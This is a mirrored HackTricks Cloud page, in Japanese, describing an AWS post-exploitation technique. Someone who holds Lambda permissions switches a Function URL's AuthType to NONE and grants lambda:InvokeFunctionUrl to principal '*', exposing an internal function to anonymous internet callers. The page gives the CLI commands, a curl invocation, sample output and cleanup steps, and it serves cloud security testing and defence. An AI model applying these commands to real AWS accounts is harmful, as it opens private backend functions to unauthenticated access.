mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
49 lines
2.2 KiB
Markdown
49 lines
2.2 KiB
Markdown
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
|
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|
|
|
|
Function URL の AuthType を NONE に切り替え、resource-based policy を付与して lambda:InvokeFunctionUrl を全員に許可することで、プライベートな Lambda Function URL をパブリックな認証不要エンドポイントに変えられます。これにより内部関数の匿名呼び出しが可能になり、機密性の高いバックエンド処理が露出する恐れがあります。
|
|
|
|
## 悪用方法
|
|
|
|
- 前提条件: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
|
- Region: us-east-1
|
|
|
|
### 手順
|
|
1) Function に Function URL があることを確認(デフォルトは AWS_IAM):
|
|
```
|
|
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
|
```
|
|
|
|
2) URL をパブリックに切り替える (AuthType NONE):
|
|
```
|
|
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
|
```
|
|
|
|
3) 認証なしプリンシパルを許可する resource-based policy ステートメントを追加:
|
|
```
|
|
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
|
```
|
|
|
|
4) URL を取得して認証情報なしで呼び出す:
|
|
```
|
|
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
|
curl -sS "$URL"
|
|
```
|
|
|
|
### 影響
|
|
- Lambda 関数がインターネット上で匿名アクセス可能になります。
|
|
|
|
### Example output (unauthenticated 200)
|
|
```
|
|
HTTP 200
|
|
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
|
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
|
```
|
|
### クリーンアップ
|
|
```
|
|
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
|
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
|
```
|
|
{{#include ../../../../banners/hacktricks-training.md}}
|